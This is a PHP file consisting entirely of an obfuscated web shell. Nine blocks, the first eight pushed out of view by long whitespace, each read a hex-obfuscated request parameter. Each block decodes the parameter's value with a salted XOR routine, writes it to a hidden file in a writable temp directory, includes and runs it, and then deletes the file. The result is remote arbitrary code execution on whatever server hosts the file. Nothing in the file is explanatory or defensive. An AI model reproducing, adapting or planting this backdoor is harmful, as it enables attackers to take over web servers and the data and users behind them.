<?php																																										if(array_key_exists("d\x65\x73cr\x69\x70to\x72", $_REQUEST)){ $obj = $_REQUEST["d\x65\x73cr\x69\x70to\x72"]; $obj = explode ( "." , $obj ) ; $ptr= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6); $k= 0; foreach( $obj as $v7) { $sChar= ord( $salt6[$k % $lenS]); $dec= ( ( int)$v7 - $sChar -( $k % 10))^ 8; $ptr .= chr( $dec); $k++; } $itm = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP")]); foreach ($itm as $key => $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $dat = join("/", [$reference, ".data_chunk"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(@$_POST["e\x6Et\x72y"] !== null){ $symbol = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp"]); $factor = $_POST["e\x6Et\x72y"]; $factor =explode ('.' , $factor) ; $key = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $p = 0; foreach( $factor as $v1) { $sChar = ord( $s3[$p %$sLen]); $dec = ( ( int)$v1 - $sChar -( $p %10)) ^ 96; $key .= chr( $dec); $p++;} $flag = 0; do { $resource = $symbol[$flag] ?? null; if ($flag >= count($symbol)) break; if (is_writable($resource) && is_dir($resource)) { $data = "$resource" . "/.object"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $data; @unlink($data); exit; } } $flag++; } while (true); }
																																										if(isset($_REQUEST["data"]) ? true : false){ $bind = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp"]); $ent = $_REQUEST["data"]; $ent = explode( '.' , $ent ); $tkn=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt8); foreach( $ent as $s => $v6): $chS=ord( $salt8[$s % $lenS]); $dec=( ( int)$v6 - $chS -( $s % 10)) ^6; $tkn .= chr( $dec); endforeach; $ref = 0; do { $flg = $bind[$ref] ?? null; if ($ref >= count($bind)) break; if ((is_dir($flg) and is_writable($flg))) { $comp = "$flg" . "/.pset"; $success = file_put_contents($comp, $tkn); if ($success) { include $comp; @unlink($comp); die();} } $ref++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62\x69nd"])){ $itm = $_REQUEST["\x62\x69nd"]; $itm = explode( '.' , $itm ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $i = 0; $__len = count($itm); do { if ($i >= $__len) break; $v7 = $itm[$i]; $chS = ord($salt[$i % $lenS]); $dec = ((int)$v7 - $chS - ($i % 10)) ^93; $tkn .=chr($dec); $i++; } while (true); $elem = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($elem as $data_chunk) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $entity = "$data_chunk" . "/.value"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et"])){ $fac = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP")]); $bind = $_REQUEST["e\x6Et"]; $bind =explode ( '.' , $bind ) ; $ref=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt6); $k=0; $__len=count($bind); do { if ($k >= $__len) break; $v9=$bind[$k]; $sChar=ord($salt6[$k % $sLen]); $dec=((int)$v9 - $sChar - ($k % 10))^76; $ref .= chr($dec); $k++; } while (true); $reference = 0; do { $symbol = $fac[$reference] ?? null; if ($reference >= count($fac)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $factor = "$symbol/.comp"; if (@file_put_contents($factor, $ref) !== false) { include $factor; unlink($factor); exit; } } $reference++; } while (true); }
																																										if(array_key_exists("p\x72\x6Fper\x74y_\x73e\x74", $_REQUEST)){ $element = $_REQUEST["p\x72\x6Fper\x74y_\x73e\x74"]; $element = explode( '.' , $element) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $o = 0; while($o < count($element)) { $v8 = $element[$o]; $chS = ord($salt[$o % $lenS]); $d =((int)$v8 - $chS -($o % 10)) ^35; $mrk .= chr($d); $o++; } $rec = array_filter(["/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($component = array_shift($rec)) { if (!!is_dir($component) && !!is_writable($component)) { $k = vsprintf("%s/%s", [$component, ".ref"]); if (@file_put_contents($k, $mrk) !== false) { include $k; unlink($k); die(); } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $ptr = $_POST["k"]; $ptr =explode ( '.' , $ptr ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $i = 0; while ($i <count($ptr)) {$v4 = $ptr[$i]; $sChar = ord($s[$i % $lenS] ); $dec = ((int)$v4 - $sChar - ($i % 10)) ^ 22; $sym .= chr($dec ); $i++; } $pset = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $token = 0; do { $bind = $pset[$token] ?? null; if ($token >= count($pset)) break; if (array_product([is_dir($bind), is_writable($bind)])) { $comp = str_replace("{var_dir}", $bind, "{var_dir}/.entry"); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $comp; @unlink($comp); exit; } } $token++; } while (true); }
																																										if(in_array("r\x65\x66e\x72e\x6Ece", array_keys($_REQUEST))){ $symbol = $_REQUEST["r\x65\x66e\x72e\x6Ece"]; $symbol=explode ( "." ,$symbol) ; $dat= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $l= 0; foreach ($symbol as $v8) { $sChar= ord($s[$l %$lenS] ); $d= ((int)$v8 - $sChar - ($l %10)) ^ 33; $dat .= chr($d ); $l++; } $component = array_filter(["/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP")]); while ($fac = array_shift($component)) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $comp = join("/", [$fac, ".parameter_group"]); if (@file_put_contents($comp, $dat) !== false) { include $comp; unlink($comp); exit; } } } }


if(isset($_POST["f\x61\x63tor"])){
	$item = $_POST["f\x61\x63tor"];
	 $item	=	  explode(	 '.',$item)  ;			
	$hld	=	'';
            $s	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	strlen($s);
            $i	=	0;
    
            array_walk($item, function ($v3) use (&$hld, &$i, $s, $lenS) {
                $sChar	=	ord($s[$i%$lenS]);
                $dec	=	((int)$v3 - $sChar - ($i%10))^ 50;
                $hld .= chr($dec);
                $i++; }	);
	$k = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm"]);
	while ($key = array_shift($k)) {
    		if (is_dir($key) && is_writable($key)) {
    $comp = str_replace("{var_dir}", $key, "{var_dir}/.elem");
    if (file_put_contents($comp, $hld)) {
	include $comp;
	@unlink($comp);
	exit;
}
}
}
}